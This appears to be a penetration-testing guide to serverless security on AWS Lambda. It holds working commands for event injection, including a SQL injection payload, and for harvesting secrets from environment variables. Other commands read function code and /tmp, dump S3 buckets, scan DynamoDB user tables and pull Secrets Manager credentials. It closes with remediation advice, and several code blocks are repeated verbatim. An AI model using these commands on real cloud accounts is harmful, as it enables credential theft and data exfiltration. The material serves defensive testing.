Exploitation A05| Security Misconfiguration A03| Injection
Serverless Security Testing
Serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) introduce unique attack surfaces: event injection, over-permissive IAM roles, function chaining abuse, and cold-start side channels. Traditional network-based pentest tools often don't apply — serverless requires a different approach.
Event Injection
bash
# Serverless functions are triggered by events. Inject into event sources:
# API Gateway → Lambda (HTTP event injection):
curl -X POST https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user \
-H 'Content-Type: application/json' \
-d '{"username": "admin\' OR 1=1 --"}'
# S3 event injection:
# If a Lambda processes uploaded files, upload malicious files:
# - ZIP bomb (denial of service)
# - XML file triggering XXE in the parser
# - Image with embedded code (ImageMagick exploitation)
# SQS/SNS event injection:
# If the function processes messages from a queue:
# Inject malicious payloads into the queue message body
# DynamoDB Stream injection:
# If a function triggers on database changes:
# Insert data that causes injection when the function processes it
# Cognito trigger injection:
# Pre-signup, post-auth triggers may process user-controlled data
# Register with malicious values in custom attributes# Serverless functions are triggered by events. Inject into event sources:
# API Gateway → Lambda (HTTP event injection):
curl -X POST https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user \
-H 'Content-Type: application/json' \
-d '{"username": "admin\' OR 1=1 --"}'
# S3 event injection:
# If a Lambda processes uploaded files, upload malicious files:
# - ZIP bomb (denial of service)
# - XML file triggering XXE in the parser
# - Image with embedded code (ImageMagick exploitation)
# SQS/SNS event injection:
# If the function processes messages from a queue:
# Inject malicious payloads into the queue message body
# DynamoDB Stream injection:
# If a function triggers on database changes:
# Insert data that causes injection when the function processes it
# Cognito trigger injection:
# Pre-signup, post-auth triggers may process user-controlled data
# Register with malicious values in custom attributesEnvironment & Configuration Exposure
bash
# Lambda environment variables often contain secrets:
# If you achieve code execution in a Lambda:
env | grep -iE 'key|secret|token|password|database|connection'
# AWS Lambda has these environment variables by default:
# AWS_ACCESS_KEY_ID
# AWS_SECRET_ACCESS_KEY
# AWS_SESSION_TOKEN
# AWS_LAMBDA_FUNCTION_NAME
# AWS_REGION
# These temporary credentials can be used for AWS API calls:
aws sts get-caller-identity
aws s3 ls
aws iam list-roles
# Check /tmp for data from previous invocations (shared container):
ls -la /tmp/
cat /tmp/*
# Read the function code:
ls -la /var/task/
cat /var/task/index.js
cat /var/task/handler.py
# Check IAM permissions (what can this function access?):
aws iam simulate-principal-policy \
--policy-source-arn $AWS_LAMBDA_FUNCTION_ARN \
--action-names 's3:GetObject' 's3:PutObject' 'dynamodb:Scan'# Lambda environment variables often contain secrets:
# If you achieve code execution in a Lambda:
env | grep -iE 'key|secret|token|password|database|connection'
# AWS Lambda has these environment variables by default:
# AWS_ACCESS_KEY_ID
# AWS_SECRET_ACCESS_KEY
# AWS_SESSION_TOKEN
# AWS_LAMBDA_FUNCTION_NAME
# AWS_REGION
# These temporary credentials can be used for AWS API calls:
aws sts get-caller-identity
aws s3 ls
aws iam list-roles
# Check /tmp for data from previous invocations (shared container):
ls -la /tmp/
cat /tmp/*
# Read the function code:
ls -la /var/task/
cat /var/task/index.js
cat /var/task/handler.py
# Check IAM permissions (what can this function access?):
aws iam simulate-principal-policy \
--policy-source-arn $AWS_LAMBDA_FUNCTION_ARN \
--action-names 's3:GetObject' 's3:PutObject' 'dynamodb:Scan'Privilege Escalation via Over-Permissive Roles
bash
# Common issue: Lambda functions with wildcard IAM permissions
# If the function has s3:* or dynamodb:*, exploit it:
# Read any S3 bucket:
aws s3 ls s3://company-secrets-bucket/
aws s3 cp s3://company-secrets-bucket/credentials.json ./
# Scan DynamoDB tables:
aws dynamodb list-tables
aws dynamodb scan --table-name Users
# Invoke other Lambda functions:
aws lambda list-functions
aws lambda invoke --function-name admin-function output.json
cat output.json
# Modify other functions (if lambda:UpdateFunctionCode is allowed):
# This is a critical escalation — you can inject code into other functions
# Access Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/credentials# Common issue: Lambda functions with wildcard IAM permissions
# If the function has s3:* or dynamodb:*, exploit it:
# Read any S3 bucket:
aws s3 ls s3://company-secrets-bucket/
aws s3 cp s3://company-secrets-bucket/credentials.json ./
# Scan DynamoDB tables:
aws dynamodb list-tables
aws dynamodb scan --table-name Users
# Invoke other Lambda functions:
aws lambda list-functions
aws lambda invoke --function-name admin-function output.json
cat output.json
# Modify other functions (if lambda:UpdateFunctionCode is allowed):
# This is a critical escalation — you can inject code into other functions
# Access Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/credentialsTesting Checklist
- 1. Identify serverless endpoints (API Gateway URLs, function URLs)
- 2. Test injection in all event sources (HTTP, queue messages, file uploads)
- 3. Test for insecure deserialization of event payloads
- 4. Check for leaked environment variables in error messages
- 5. Test function timeout and memory limits (resource exhaustion DoS)
- 6. Assess IAM role permissions (are they over-permissive?)
- 7. Test for data persistence in /tmp between invocations
- 8. Check if functions are publicly invocable without auth
Evidence Collection
Function Mapping: List of discovered functions, event sources, and permissions
Injection: Request/response showing successful event injection
IAM Assessment: Over-permissive policies with wildcard actions
CVSS Range: Event injection: 7.5–9.1 | Credential exposure: 8.6–9.8 | IAM escalation: 9.1–9.8
Remediation
- Least privilege IAM: Grant only the specific permissions each function needs — never use * wildcards.
- Validate all events: Never trust event data — validate and sanitize all fields from event sources.
- Use Secrets Manager: Never store secrets in environment variables — use AWS Secrets Manager or similar.
- Set resource limits: Configure timeout, memory, and concurrency limits to prevent abuse.
- Restrict function access: Use API Gateway authorizers, require authentication for all function URLs.
False Positive Identification
- Env vars in logs by design: Some logging frameworks intentionally log environment context — verify the logged variables contain actual secrets, not just config metadata.
- Broad IAM role by design: Some architectures use shared roles across functions intentionally — report the risk but assess if the role follows least-privilege for the function group.
- Cold start timing variance: Variable response times in serverless don't indicate a timing attack — cold starts naturally cause 100-500ms variance.